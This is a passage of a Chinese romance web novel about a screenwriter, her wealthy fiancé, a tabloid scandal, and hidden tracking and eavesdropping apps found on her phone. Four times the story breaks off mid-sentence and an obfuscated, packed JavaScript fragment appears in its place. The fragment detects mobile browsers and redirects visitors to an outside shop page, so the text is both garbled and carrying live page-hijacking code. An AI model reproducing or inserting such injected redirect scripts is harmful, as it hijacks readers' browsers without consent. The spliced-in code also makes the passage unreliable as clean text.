就在刚才,李浪帆趁着两人打机锋的时,悄悄把王暄手机号的备注改成了“裴总”,然后点开对话框,发过去一条消息。 “速给我打个电话,快!” 然后她就把手机正面放在腿上,静待回音了。 之所以不用王暄的名头扯虎皮,纯粹是怕周千航不知道他是谁,到时候白做作一番,媚眼抛给瞎子看。 她啧啧两声,感叹道:“这谁不叫你一声名侦探。” “我本来也是猜测。”岑归璞眼中闪过难以捕捉的促狭笑意,“没想到你一下就承认了。” “你比我想象中要开朗许多。”李浪帆微微一笑,“这几天看你都很沉默的样子。” “我沉默是因为无话可讲。”她叹了一口气,“大学时,我跟周千航同在一个班,那会儿就互相看不顺眼。他是想针对我才要改剧本的,差点连累你,真是抱歉。” “没事儿,你来之前他也这样!” 正说着,岑归璞的助理匆匆跑来,说下一场马上开拍。 “我先过去。”她朝李浪帆微微颔首,跟着助理过去了。 李浪帆终于得空,将王暄的备注恢复原状,随后拨通了他的电话,没过几秒便被那头接起。 “谢谢啦!” 王暄故作冷漠的语调传来:“我还以为你遇到了什么大麻烦,原来是拿我当工具人。” 李浪帆听出他在装腔作势,忍不住笑出声来。 “给我打电话,却亲密地叫着别人的名字。你说,该怎么补偿我?”他慢条斯理问道。 “裴总的电话我可没有,就算有也不好在他那演吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495862|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?其余朋友都是女的,万一被听见声音不就露馅了。”李浪帆理直气壮,振振有词,“除了你,还有谁会这么配合我?” “好吧,算你这个解释勉强合格。”王暄轻笑一声,意味深长道:“等下次见面我再讨要谢礼,希望你付得起。” 她爽快应允下来,心中却暗自盘算:“下次见面都快年底了,到时候你要是为难我,我就说你斤斤计较,小肚鸡肠呗。” 李浪帆没想到,再三强调自己忙碌的王暄,会瞒着她悄无声息来到宁越,给她一个惊喜。 不过在王暄到来之前,她先见到了来这边工作的沈溪云,以及严晏。 快到中午时,李浪帆收到一条信息:“严晏非要跟着来,怎么说都不行。他又是老板,我也不好硬赶。” 沈溪云能隐约察觉到严晏对李浪帆的微妙敌意,还以为他是介意好友未婚妻的身份来历,所以并不想让他们凑到一起,省的他万一给人家添堵就不好了。 她想了想,还是提议道:“你要是不想和他一起吃饭,等晚上我再偷偷出来找你。我们酒店离你那很近。” 李浪帆暗暗好笑,觉得这话看起来像是密谋私奔的前奏。 “没关系。”多双筷子的事儿。 这段时间,严晏对沈溪云关怀备至,比以前在学校谈恋爱时还要照顾她的情绪。 虽然跑通告都带着她,但是却不再像以前要求她做这做那。甚至频繁邀请沈溪云吃饭,看电影,开车带她去兜风。 仿佛以前那个一切以事业为先,说工作时不想掺杂私交的人不是他一样。 沈溪云感受到了严晏的转变,觉得确实稀奇,问他缘由他也不说。心想反正自己这助理也干不了多久了,他想怎么样随他去吧。 这正是严晏最近一反常态的根源所在。 尽管沈溪云从没跟他提过要辞职的想法,也没当他面看过网课做过题,但他就是敏锐地察觉到,沈溪云似乎已经准备好离开他了。 刚开始还只是朦胧的预感,直到有一天,他拿着沈溪云的手机刷微博时,通知栏弹出信息:“明年肯定有好岗,你今年先练练手。” 这句话是李浪帆发来的。 他心中忽地一紧,抬眼偷偷窥向旁边靠着座椅微眯的沈溪云,不动声色地点开了她们的聊天记录。 这下才真的确定了,沈溪云要离开绝不是他的错觉。 恍惚、惊疑、愤怒、焦躁、苦闷、不舍,千百种滋味齐上心头。 他既有些后悔之前为了事业对沈溪云诸多冷落,又难免迁怒于李浪帆。 心中暗骂道:“你不去看好你自己的未婚夫,学学怎么当豪门太太,反而要来挑拨离间我和溪云吗?你是她什么人就来劝别人考公务员?” 严晏只顾沉浸在自己的情绪中,完全没有发现,沈溪云只要向李浪帆提及助理的工作,字里行间满是对现状的厌倦与逃离的渴望。 简直没有一句和高兴、快乐沾边的话,横看竖看,都写满了一个字:烦。 当他得知两人要见面,生怕李浪帆再度煽风点火,便无论如何也要跟着一起来。 吃饭时,严晏特意坐在李浪帆对面,目光复杂地盯着她,严防死守挖墙脚的行为,却没注意到暗处,镜头已悄然对准了他们。 关于#严晏疑似恋情曝光的词条,马上就会出现在各大平台的热搜上。而而这仅仅是其中的一条论据而已。 62. 黑料 严晏这顿饭食不知味,只要一听见话题绕到工作上,他就觉得李浪帆每句话都暗藏玄机,是别有用心在撺掇沈溪云尽早辞职。 他罕见地说了娱乐圈一堆好话,惹得沈溪云侧目频频,怀疑这人今天精神状态不大对劲。 吃完饭,李浪帆想走回片场顺便消消食,沈溪云见状便要和她一起走,让严晏先坐车回去。 感觉自己被孤立的严晏心中瞬间警铃大作,哪里肯答应让这二人单独相处。软磨硬泡,又拉拉扯扯,直到她们答应一起上车回影视城才作罢。 “严老师。”李浪帆上车前,带着几分戏谑笑话他,“你不去火车站兼职拉活儿,真是可惜了。” 严晏微笑着请她先上车,心中暗道:“还不都是为了防你!” 李浪帆总觉得有人在偷窥他们,就连刚才吃饭时也隐隐约约能感觉到。 她环视一圈,但是并没有发现什么可疑的人。猜测可能是有人认出了严晏,盯着他看一会儿,也在情理之中。 这天晚上九点多的时候,王暄发来一条信息:“收工后到影视城1号停车场。” 不到片刻,又有一张照片传来。 虽然天色已经黑透,但在停车场明亮的灯光下,车牌依然清晰可见,而且车内后排似乎隐隐约约有个人影。 李浪帆心中一动,“是他来了吗?” 转念却觉得不太可能,公司那么忙,王暄怎么会千里迢迢来找她。 剧组还没收工,这场夜戏大概要拍到凌晨,但也没她什么活要干了。李浪帆找到导演,打算请个假先走。 胡导很爽快地放人了。 王暄长腿交叠坐在车内,他今天穿着很随意,毛衣和长裤都是温柔的大地色系,看上去比平时的精英形象更显年轻。 他目光盯着手机,神情专注而平静,只是嘴角微微勾起一丝弧度。 地图上的带着箭头的红点正悄然移动,以一种略快于步行的速度不断接近。 当红点进入停车场时,透过车窗,王暄瞧见李浪帆正在挨个看黑色汽车的车牌号。 他低笑一声,推开车门,冲不远处的人招招手。 携着冷风的身体扑过来,紧紧抱住了他。 “你怎么来啦?穿这么少你不冷么?吃饭没有?”李浪帆揪起王暄毛衣袖子捏捏厚度,又用手背放在他脸上,仰头问出一连串的问题。 “飞机餐,不冷。”他迟疑两秒,才回答第一个问题,“因为想你。” “我也想你!”李浪帆高兴地亲了他一下。 王暄的眼镜都被撞歪了。 “先上车。”在司机伸手前,他凭借距离优势,先人一步拉开车门请李浪帆进去,自己绕到了另一侧上车。 李浪帆腿上盖着他扔在座椅上的深色大衣,手指点点他亮着的手机屏幕,好奇问道:“你在看什么?” 司机为他关上车门。 王暄不动声色地拿起手机,瞬间息屏,微笑道:“导航。” “哦。”李浪帆不疑有他,“我们去哪?” “回酒店。” 浴室的门没有完全关上,暧昧的水声从里面飘出来,落下的水滴不断砸在李浪帆心上。 她十分怀疑王暄是故意的,于是快步走到浴室前,一把将玻璃门推上了。虽然只有短短一瞬间,但她还是透过缭绕的雾气,看到了不该看的画面。 王暄走出浴室,一眼看到李浪帆正出神地站在落地窗前,就连背影都透着紧张局促。 明白她此刻别扭什么,心中觉得好笑。 “去洗澡。” 李浪帆盯着他露出来的胸膛,和折射出光线的晶莹水珠,心跳忽然漏了一拍。 她站在窗边不动,“没带换洗衣物,我一会儿回去洗吧。” “回去?”王暄好笑地看着她,“我说了,要向你讨要谢礼。” 他抬手关掉房间的灯,室内陷入一片黑暗,过了几秒,月光从落地窗照进来。 “请你看电影可以吗?”她硬着头皮推脱,立马又补充道:“今天是个重要的日子,我们看点应景的。” 王暄脑海中快速回想:“十月底刚陪你过完生日,我们相识一百天的纪念日也还没到,今天还有别的重大事宜吗?总不会是因为我来了所以重要。” 他百思不得其解,疑惑问道:“什么日子?” 李浪帆一本真经地说:“志愿军收复平壤的纪念日。” 王暄被气笑了。 他不再废话,上前一步,膝盖强硬地顶开李浪帆的大腿,一手护着她的头,另一只手捏着她下巴便吻了上去。 李浪帆不受控地往后倒去,背后是冰冷的窗户,面前是温暖的他。 清新柔和的气息从他身上蔓延开来,似乎是鸢尾的味道,伴随着洒在睫毛上的灼热呼吸,迅速点燃了她身上朦胧的月光。 有那么片刻,她确实产生了动摇,心想:“要不就答应他算了,从前又不是没有过。” 正要松口同意,抬眼却撞进王暄幽暗的眸色中,那其中倒映的全是动情的自己。 这下连耳垂也变得发烫起来。 李浪帆忽然非常确定,如果真要做,由着王暄折腾起来绝对会没完没了,她实在不想明天肿着眼睛,嗓音嘶哑地去剧组。 一想到这尴尬社死的场景,刚才的念头立马就打消了。 王暄只看表情,就已猜到了她在顾虑什么。 他把人抱起压在沙发上,深深凝视着她,问道:“我不在遮不住的地方留印子,不做到最后一步,可以吗?” 嘴上是这么说,但动作间带着不容抗拒地姿态,一颗一颗解着她的扣子。 身下传出一声难耐的喘息,只见李浪帆咬着唇问道:“我说不可以,你就能把我的衣服重新穿好吗?” “能。” 她内心挣扎了片刻,渐渐放松紧绷的身体,双手搂住王暄的脖子,闭上眼睛问:“你能控制住吗?” “能。” 两人的手机都开了静音,一个掉在地毯上,一个放在浴室里,此刻正不断地闪着,他们根本没有注意到,就算是注意到了,也没人愿意这时候去理会。 时隔太久,李浪帆已经忘了,哪怕不做到最后,她也招架不住这人,而且现在是冬天,身上几乎没有什么遮不住的地方。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583738|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >等王暄要抱她去洗澡时,已经凌晨了。 她原本不想动弹,但又觉得自己这样子,不洗澡根本没办法睡,干脆破罐子破摔默认了他的动作。 王暄看着她身上遍布的吻痕与牙印,面色微变,眼中闪过复杂的神情。最终只是微微叹口气,压下了更为过分的想法,轻柔地帮她清洗身体。 头发刚一吹干,李浪帆便倒在松软地被褥间,沉沉睡了过去。 王暄进浴室拿出了自己的手机,消息显示99+,还有许多未接来电。 这时助理的电话又打了过来,他才知道发生了什么事。 原来今天晚上,准确地说是昨天晚上,随着几条爆料出现,各大社交平台掀起了一场狂风巨浪。 #严晏恋情疑似曝光##严晏女友##严晏与女子夜会酒店#等诸多词条都引爆了热搜,短时间内阅读与讨论量极大,网站服务器立刻陷入瘫痪。 而那个所谓的神秘女友,正是无辜入镜的李浪帆。 再后来,仅凭着一段和严晏吃饭的视频,和几张照片,她的个人信息也被人扒出来了。 高中打架被学校开除,前段时间在被查封的Bluenight俱乐部工作,后来又傍上金主,挤掉了原先的编剧,又与剧组其他工作人员不合。 桩桩件件,全是不利于她的内容。 一时间,严晏的粉丝觉得这是心机女想蹭她们家哥哥上位,坚决不承认这是真的。 也有认为这是实锤,说他没有明星基本的职业素养,写了小作文脱粉的。 严晏的黑粉在嘲笑他眼光差,只会看脸,简直是小头决定大头,还说这是爆出来的,没爆出来不知道又有多少。 严晏的对家在买通稿试图坐实这份恋情,针对扶光影视的推手又想把他拉进俱乐部牵涉的案件中,阴阳怪气内涵他是漏网之鱼。 还有一个小号,据说是相关工作人员。这个账号爆料,据说编剧今晚确实没回剧组的酒店,而且大家都在拍戏的时候她就溜了。 还说多次看到她上不同男人的车,不知道是不是有别的工作。又提起前段时间俱乐部的事,暗示某些看似受害者的人也不干净,接着话里话外开始挑拨起男女对立。 王暄盯着李浪帆恬静的睡颜,手指划过她的眉心、鼻梁和双唇。看了一会儿,又鬼使神差地轻轻吻了上去。 “王董?”电话那边听着他迟迟没有出声,忍不住唤了一声。 “嗯。”王暄又摸摸李浪帆的头发,这才走到客厅,开始嘱咐他应对安排。 挂断电话后,他点开热搜,服务器已经恢复了,评论一条条出现在眼前。 【一般这种身份的男人承认恋情,十有八九是女方怀了。】 【事业上升期,你疯了?】 【我懂唇语的朋友说,女方问哥哥‘看我做什么?’,哥哥说的是‘当然是想看透你。’这基本就是实锤了吧?】 下面有人评论这位网友【我怎么觉得像挑衅。】 除此之外还有种种不堪入目的内容,跟助理刚才说得差不多。 王暄忍无可忍,也不管现在是什么时候,给严晏拨去了电话。 63. 公开 “宝贝,你的闹钟已经响过两次了,还不起床么?”王暄轻轻拍了拍还在沉睡的李浪帆。 “我到底犯了什么罪……”李浪帆艰难地掀开眼皮,接连打了两个哈欠,“晚上被你折腾,白天还要被工作折磨。” 这人昨晚第一次喊“宝贝”的时候,她还以为原书世界有什么“只要亲密接触就能恢复记忆?”的奇葩设定,后来发现是自己痴心妄想,那只是他情到浓时随口叫出的称呼罢了。 王暄早已穿戴整齐、洗漱完毕,此刻正坐在床边,垂眸俯视着她睡意朦胧的样子,唇角微微勾起。 “那以后别去了,你不喜欢这份工作就在家休息,我养你。” “我不喜欢所有工作,干一行恨一行,纯恨战士。”她躺在床上神游了片刻,这才缩在被子里窸窸窣窣地穿上衣服,“但我更不可能在家靠你养,所以不要劝我了。” 洗漱台前,李浪帆随意扎了个丸子头,衬衫袖子高高挽起,动作非常粗暴地洗完了脸,水花四溅,连镜子也没能幸免。 冷水洗完脸后,她才终于彻底清醒。 “抬头。”带着笑意的简短命令从身后传来。 她拿着牙刷和漱口杯,唇边还沾着泡沫,额前碎发微湿,清澈的眸子倒映在镜中。一瞬间,像山间晨雾骤然散去,阳光透过茂密的枝叶,洒在溪边静静饮水的小鹿身上。 美好的画面于刹那定格。 “刷牙有什么好拍的?”她叼着牙刷,含糊不清咕哝着。 王暄伸指戳了戳她微微鼓起的脸颊,却被她端着漱口杯,一脸无奈地赶了出去。 用完早餐,王暄执意要亲自送李浪帆去片场。 二人刚一现身,便瞬间成为了剧组所有人注视的焦点,大家的目光不约而同地看向他们。 李浪帆从早上起床到现在,没来得及看一眼手机,完全不知道发生了什么。她迅速上下打量了两遍王暄,却没发现任何异样之处。 回过头时,却见制片与导演已快步迎了上来,不住地向王暄低头致歉,言辞中满是恭敬与自责。 说什么都是剧组用人不察,给王董和李老师带来了这么大的困扰,他们内心深感愧疚。又强调说,李老师与剧组其他工作人员相处得极为融洽,网上的那些不实传言完全是无稽之谈。 王暄对他们微微颔首,“没关系,我会把那些人处理干净的。” 两人闻言心中惴惴,怎么听怎么觉得这话更像是威胁。 李浪帆已经从他们的片言只语中大致拼凑出了事情的来龙去脉。这时,她瞥见叶瑶在角落里正对她挤眉弄眼,便趁着几人客套之际,悄悄溜了过去。 “高若林到现在都还没来,是不是你家那位……”叶瑶眼中闪烁着吃瓜的光芒,压抑着兴奋的声音,“你们俩站一起真的超级般配,我磕爆!” “哦——”她恍然大悟,“所以是高若林在网上散布我的谣言了,是吧?” 叶瑶惊讶地瞪大双眼,“你竟然不知道怎么回事?你用的2G网?我昨晚还给你发截图了。” 李浪帆拿出手机一看,果然有许多人给她发过消息,有链接也有截图。 点开社交平台后,私信和评论像潮水般涌来,每一条只能看见前面几个字。她匆匆扫了两眼,有道歉的,有夸她的,有安慰的。 这些人连她生命中的过客都算不上,李浪帆完全没兴趣挨个点开看,随手清除了未读提示,页面看起来舒服多了。 “负面言论和你个人信息都被删啦。”叶瑶眼下带着淡淡的青影,“昨晚岑老师发博帮你说话,结果被喷子骂得狗血淋头。我正在和骂你的人互撕的时候,发现一个两个都变成了‘用户已注销’,然后,惊天反转就来了。” 李浪帆感激地看着叶瑶,真诚地说:“伟大!无需多言!晚上请你们吃饭。” 叶瑶表情夸张地对她竖起大拇指,“涉黑、下药、性.侵视频群、毒.品、钱色交易,这种要命的事都敢举报,你简直是北明第一巴图鲁!女人中的女人,雌性中的雌性!” “中州人来北明,只办三件事,正义!正义!还是正义!”李浪帆对她开玩笑。 正说着,她看见热搜上有一条王暄今早发的微博。 [不要什么邪门CP都磕,请认准李浪帆女士@L_望极天涯唯一指定未婚夫——我。] 下面是三张配图:一张她坐在别墅亭子中看夕阳的侧颜;一张是王暄紧紧握住她手腕的特写,两人的手指上的同款钻戒闪烁着耀眼的光芒;还有一张是她今早刷牙时的抓拍,只是最后这张,似乎暧昧过头了。 李浪帆的目光穿越人群望向他,心中一阵暖流涌起,没想到在自己睡着这短短几个小时,王暄竟然默默地做了这么多。 “偷拍到的也是你未婚夫的车吧?所以大佬是专门来陪你的对吧!”叶瑶好奇地向她确认。 “昨晚的?”李浪帆微微一愣,随即回忆起来,“那辆黑车吗?” “你能别把库里南叫得像非法运营车辆吗?”叶瑶哭笑不得。 “我只知道苏里南。”李浪帆坦诚道,她对汽车的了解仅限于会开,对于品牌型号简直一窍不通。 在剧情线修正以前,她和王暄一直开的是痛车,而且还是他们创作的角色,大老远就能看见,根本不用像昨晚一样,在停车场挨个看车牌号。 “苏里南是谁?”叶瑶以为是个人名。 “南美小国。”刚好来找李浪帆的岑归璞淡然解释道,“荷兰曾经的殖民地。” 李浪帆点点头,“而且感觉库里南这名字听上去,像拉美专用的运.毒工具。一群人开着车,扛着枪,空气中弥漫着大麻味儿。” “还要配上BBC标志性的第三世界滤镜。”她补充道。 “没错!”李浪帆惊喜地发现岑归璞竟然和她完全同频。 叶瑶简直无话可说,只希望有朝一日自己也可以拥有这么一辆“运输车”。 这时王暄朝她们走来,只见他看向岑归璞,郑重其事道:“岑女士,多谢你仗义执言。” 岑归璞微微一笑,“您客气了,这是我该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733961|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的。” “希望将来有机会与你合作。” 她面不改色道:“多谢您看重,能与贵司合作,是我的荣幸。” 看他不作声之后,岑归璞和叶瑶默契地离开,为二人留下了私人空间。 李浪帆原本想看看岑归璞发了什么内容,能让王暄专门过来道谢。点开手机却发现全屏放大的照片没返回。 她突然看到了刚刚没注意到的细节,立刻低声道:“你赶紧把照片删了,或者换一张也行。” “为什么?” 她有些不好意思,支吾半天才说:“刷牙这张……胳膊上有牙印,脖子上也有吻痕。” “那又怎样,我们又不是偷.情,未婚夫妻不能亲密么?”他一本正经地说。 “你不要脸我还要脸!”李浪帆恼羞成怒。 “不删。”王暄觉得她生起气来也十分动人,故意点开相册里的照片,杵到她眼前,“你仔细看看,难道这张照片不具备美感吗?” “这光线,这构图,绝了!焦内如刀割般锐利,焦外如奶油般化开!”李浪帆瞪着那明晃晃的印子,脸上热意挥之不去,咬牙切齿道:“所以这么优秀的作品,可以只给我一个人欣赏吗?” 王暄挑眉,“你作为造物主的优秀作品,可以只给我一人欣赏吗?” 李浪帆白他一眼,为了自己的血压着想,扭头就要走。 王暄一把抓住她的手腕,语调低落地说:“我下午还有工作,马上就要去机场了,还剩最后几分钟,不再理我了吗?” “这么快?”她惊讶地愣在原地,抬头看着他,眼中有些无措与心疼,“来回奔波很累吧?” “会比连夜坐绿皮还累吗?”王暄垂眸,温柔的目光将她包裹起来。 她有一瞬间的失神,喃喃道:“你这么说,我差点以为你全想起来了。” “如果想不起另一个世界的过去,我就不是我吗?”王暄反问。 “不!你当然是你。”李浪帆不假思索地回答。 “那就不要再执着于过去了,我们重新开始。”王暄目光灼灼凝视着她,伸手就要抚上她的侧脸。 李浪帆下意识避开了他的手,瞬间变得心慌意乱起来,怔怔地看着他,张了张口,却不知道该说什么。 王暄的手凝滞在半空,目光中渐渐流露出失望的神色。 “我走了。”他没再多说什么,转身离开了。 李浪帆站在原地踌躇许久,最终情感战胜理智,也顾不得还有这么多双眼睛盯着,快步追了过去。 她抄近路左转右拐,追出去很远,才在长长的石阶上,看到王暄背影。 “喂!” 听到她声音的人只稍顿了顿,头也不回继续往前走去。 李浪帆三步并作两步,跑上前抓住了王暄的手。掌心是他温热的手指,和冰冷的戒指。 “我送你。” 王暄抽出了手,“不用。” 她紧紧拉住了他的衣袖,执拗地站在原地,不肯让人往前再走一步。 64. 监听 李浪帆说这话的时候,完全没有料到,连陪王暄共度圣诞这样微不足道的小事她也无法兑现了。 但她觉得,这不能完全怪自己,王暄起码要负九成责任。 冬日晚八点的宁越市,早已被夜幕深深笼罩,星光淹没在霓虹灯海中,难以窥见。 李浪帆独自坐在桌旁,边吃饭边看时政新闻,忽然听到门铃在响。 “谁?”她暂停了视频,大声问道。 门外传来了意想不到的声音,“我,王琮。” “琮哥?!” 李浪帆一惊,筷子被不小心打落在地上,骨碌碌地滚到了桌子下。 她顾不上捡,忙起身打开反锁的房门。 此刻走廊里正站着一位成熟英俊,衣着光鲜的男人。 “浪帆,好久不见。” 他的五官与王暄有着几分相似,只是眼尾略微上挑,带着种傲视众生的睥睨意味。气质上也更为冷峻,单是站在那里就仿佛利剑出鞘,叫人不敢直撄其锋芒。 闻言,李浪帆的瞳孔微微放大。 “抱歉,不请自来,吓到你了。”他流露出温和的笑意。 “你刚才说‘好久不见’?”李浪帆的语气中带着一丝不确定与期盼,随即又回过神来,连忙招呼道:“先进来坐。” “不必了,我们换个方便的地方说话?” “啊?哦,也行。”她下意识回头看向房间沙发上乱扔的衣服和地上的外卖袋,有些不好意思。 李浪帆虚掩了房门,迅速在睡衣外套了件裤子和外套,一脚蹬上运动鞋,拔下正在充电的手机,便跟王琮走出了酒店。 酒店隔壁是一家清吧,这会儿人不多。 王琮和李浪帆径直走到无人的角落里,随意点了两杯酒。 李浪帆问道:“琮哥你什么时候从国外回来的?” “回来的时间不重要,从哪里来才重要。”王暄答非所问,“我们从一处而来,不是么?” “你的意思是……” “就是你想的那样。”王琮点点头,“我们两个不是这世界的人,或者说……曾经不是。” 李浪帆眉头微蹙,低声补充道:“据我所知,目前只有我们两个有剧情修正前的记忆……” 她远远看见服务生端着二人的酒走过来,当即住口不谈。 等人走后,才又问道:“你怎么知道我和你一样的?” “热搜。”王琮拿起酒,下唇刚碰到杯沿,似乎是不喜欢这味道,又面无表情地放下了。 “在此之前我调查过这个世界的王暄,也知道他和以前不同。呵!”他冷笑一声,“那种人,能宣布一个认识不到三个月的女人是自己未婚妻,这怎么可能?除非同样的外表下,是你的灵魂。” 李浪帆感觉王琮对这里的王暄颇有微词,替他辩解道:“他应该只是暂时没有剧情修正前的记忆,所以和现在的你有点水火……呃……小矛盾。” 她说完,尴尬地低头抿了一口酒。 毕竟原书中的王琮被王暄斗得失去了继承资格,丢掉了公司,最后还被赶到海外,就差靠着老佛爷当年付的赔款要饭了。 也不知短短三个月,他是怎么东山再起的。李浪帆偷偷打量了一眼王琮的衣饰,她敢肯定,那绝对价值不菲。 他身体微微前倾,问道:“‘剧情修正’是指什么?” “你知道吗?我们现在所处世界其实是一本书。”她压低声音。 “愿闻其详。” 讲原书剧情设定和系统曾经提供的消息时,李浪帆甚至不好意思抬头看他,有些话还没说出口就已经觉得十分羞耻了。 她边说边窘迫地咬着吸管,没过一会儿,就发出“滋滋——”的声音,酒杯顷刻边见底了。 “我原本以为只是无缘无故到了平行世界,照你所说,这一切都是人为操控的。”不耐的神色从眼中一闪而过,他非常讨厌这种不在逻辑框架内的意外事件。 “系统。” “系统总是人设计并控制的。” 李浪帆点头,“也可以这么说。” “因为主角姻缘改变,世界坍塌重启。”说到这里,王琮语气中略带讥笑之意,“竟然是因为这种无聊的原因。” 他思索了片刻,提出假设:“这里的王暄今年也是二十六岁,也就是说,如果明年你们还在一起,现在这条剧情线可能会再次修正?” “其实我考虑过这个世界只是系统营造出的环境的可能,但不好去验证。”李浪帆的眼神变得有些黯淡,“在这之前,我不但没有和王暄结婚,反而因为你们家里的反对,很有可能跟他分开。我其实不太明白,系统为什么会选在这时候修正剧情线?” “如果他和高霏依然是这个世界的主角,只要破坏他们的姻缘,我们就有可能回去了,不是么?” “我来到原书的故事线,是因为系统的报复,琮哥你为什么也会被牵涉进来?”李浪帆神情严肃,认真分析道:“难道不是因为男主这边,而是女主?” 王琮食指轻叩桌面,“我们联手把高、袁两家挤得再无立锥之地,一旦高鹏吉失势,被其他人反扑也是必然。如果问题出在高霏这边,就不难解释了。” 高鹏吉是高霏的父亲,他们一家都已经入了美籍。由于一些行业对外资有限制,他们找了袁家的大儿子做国内的代理人,两家还有姻亲关系。 袁家在国内投资了许多文化产业,其中野火传媒近些年风头正盛,同时也暗地里充当了一些反动势力的喉舌。 野火传媒和高家其他企业的在华利润,会有部分用于支持高鹏吉在美竞选。 在剧情修正以前,高家和袁家已经被王琮继承的启鸣集团盯上,而王琮确实是商业天才,商场上几套组合拳打下来,没过几年便把这两家的企业斗到强制退市、破产清算,最后自杀的自杀,坐牢的坐牢。 李浪帆提出疑问:“但是这其中也有王暄出的一份力,怎么他没有过去的记忆?反而让我们俩这种‘反派’带着记忆,再通关一遍游戏,这怎么看都是一招臭棋吧!” 王琮并不认同,“未必。这个世界的王琮和我当初根本无法同日而语,我这三个月在海外才刚破局,如果小暄支持高、袁两家,凭他现有的资本,我们几乎毫无胜算。” “按他的性格,不会支持买办分子。”李浪帆说得十分笃定。 “在利益的驱使下,没有不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759408|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。野火传媒最近业务扩张,启鸣集团旗下的投资公司已经和他们初步达成了投资意向了,但具体内容我不清楚。”他从包里抽出一份文件。 李浪帆看着文件,面色冷凝,沉吟许久才说:“我回头问问他吧,说不定是想割韭菜,还附带有什么对赌协议也未必。” “那就再等等看。” 她面色不虞道:“提起这帮虫豸我就想吐,真是恶心!” “都过去了。”王琮安慰道。 李浪帆的目光陡然变得锐利起来,“解决不掉事,还可以解决人。” “未尝不可。”他并不在意李浪帆会不会做出过激行为,“我会帮你的。” “谢谢。” “你们在一起,对我更有利,不是么?不管是在这里,还是在我们的世界。” “我回去问问他愿不愿意和我尽快结婚。不过……”李浪帆欲言又止,长叹了口气。 她有些犹豫,如果什么都不发生也就罢了,如果能回去,刚结婚妻子就消失了,这未免太对不住王暄。如果不能回去,但是剧情线在没有系统的情况下再次修正,她和王琮岂不是会陷入类似于‘土拨鼠日’的循环中? 正想着,手机突然“滴——”了一声,提示电量不足。 李浪帆不满地嘟囔道:“出门还有47%,现在只剩19%了……” “稍等,我充个电。”她看到吧台处有共享充电宝,就大步过去了。 待她拿着移动电源回来时,王琮若有所思地问道:“你手机电量一直掉得这么快吗?” “充满撑死八小时吧,还是不怎么玩的情况下,可能现在新出手机都不耐用,就这还是王暄送我的,要是我自己的,肯定还不如这个。”她无奈地耸耸肩。 “能给我看看吗?” 李浪帆二话不说,解锁递了过去。 王琮翻弄着手机,忽然冷笑一声,“呵,什么时候染上的坏毛病?” “嗯?” “不是手机的问题。”他解释,“后台有两个隐藏软件一直在运行,而且关不掉。” “隐藏软件?”李浪帆不记得自己有下过什么不该下载的软件。 “一个是□□,另一个是跟踪定位软件。这两个应用不显示图标,所以你不知道。” 王琮对着手机那边淡淡笑道:“小暄,控制欲太强可不好。” 李浪帆突然想到月初时,王暄问都没问,直接去影视城停车场等她,似乎笃定了她还在片场,而且当时在他手机上看到的页面,大概就是实时监控自己位置的软件。 “等明天我就去换了手机和电话卡!”她咬牙切齿地说。 “卡也是他办的?”王琮问。 “嗯,我没有身份证,没有户口本,也没有穿来之前这具身体的记忆。”说到这里,她停住了。 “不对!我的证件应该在王暄手里。” 李浪帆忽然回想起来,俱乐部那些人当时连销毁犯罪证据都还来不及,怎么会专门去处理她的私人物品? 她那天一定是昏了头了,竟然会相信王暄这种拙劣的谎言! 一声低骂脱口而出,她越想越气,只觉得这狗东西嘴里没半句实话。 65. 逃离 这一晚的信息如雪花般纷至沓来,李浪帆花费了些许时间消化,才恍然大悟地问道:“那是不是咱们现在说话他也能监听到?” “对。”王琮补充,“而且你上网的搜索浏览记录以及聊天消息,他也一览无余。” “……救命啊!”她猛然趴到桌子上,头埋在双臂中,抓狂地揉搓着自己的头发。 虚弱而绝望的声音闷闷传来:“现在除掉他还来得及吗?” 王琮看着她恼羞成怒的样子,忍不住低笑一声。 “你还笑得出来……”她抬起头,脸颊绯红,发丝凌乱地垂在额前,眼神中充满了幽怨。 王琮又笑了一声。 